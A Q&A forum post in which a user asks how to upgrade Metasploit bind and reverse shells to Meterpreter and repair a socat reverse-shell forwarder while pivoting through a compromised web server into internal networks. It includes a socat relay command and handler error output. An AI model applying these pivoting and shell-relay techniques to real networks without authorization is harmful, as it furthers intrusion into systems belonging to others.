I have a windows shell created with windows/shell_bind_tcp and I am having trouble in upgrading it to a meterpreter session
I tried to use shell_to_meterpreter but thisis the message:
The case is the following:
I exploited a web server and pivoted into the internal network finding some other machine to exploit, i did it and obtained a shell.
Machine 0 : the pivot
Machine 1 : shell_bind_tcp -> got through metasploit so i tried to use a shell to meterpreter but had no success
Machine 2 : shell_reverse_tcp -> in this case i generated a socat reverse shell forwarder: socat tcp-l:[l-port] tcp:[IP]:[port]
So i found two problems
1: i can not use shell_to_meterpreter to upgrade the shell with shell_to_meterpreter ( and I have another subnet to scan ) reachable only creating a routing from machine 1 or machine 2
2: I arrested the socat forwarder but machine 2 says his service is already connected ( i checked with ncat and i get a response from port open but says “(?) open : Operation now in progress”
so i dont know how to disconnect it.
The network is the following
Me <———> Machine 0 <———> Machine 2
Machine 0 contains the socat forwarder and I can reach only machine 0 directly
Can you help me? I’d like to find a way to upgrade the shells in machine 1 and machine 2 so i can pivot to the last network
Machine 1 I tried to upgrade shell to meterpreter using shell_to_meterpreter but got
[*] Upgrading session ID: 4
[*] Starting exploit/multi/handler
[-] Handler failed to bind to [IP_OF_PIVOT]:9090:
[*] Started reverse TCP handler on 0.0.0.0:9090
I tried to kill socat and re-create the connection but service is still busy, so i can not re-obtain the connection from 2`
niccolò orlandi is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.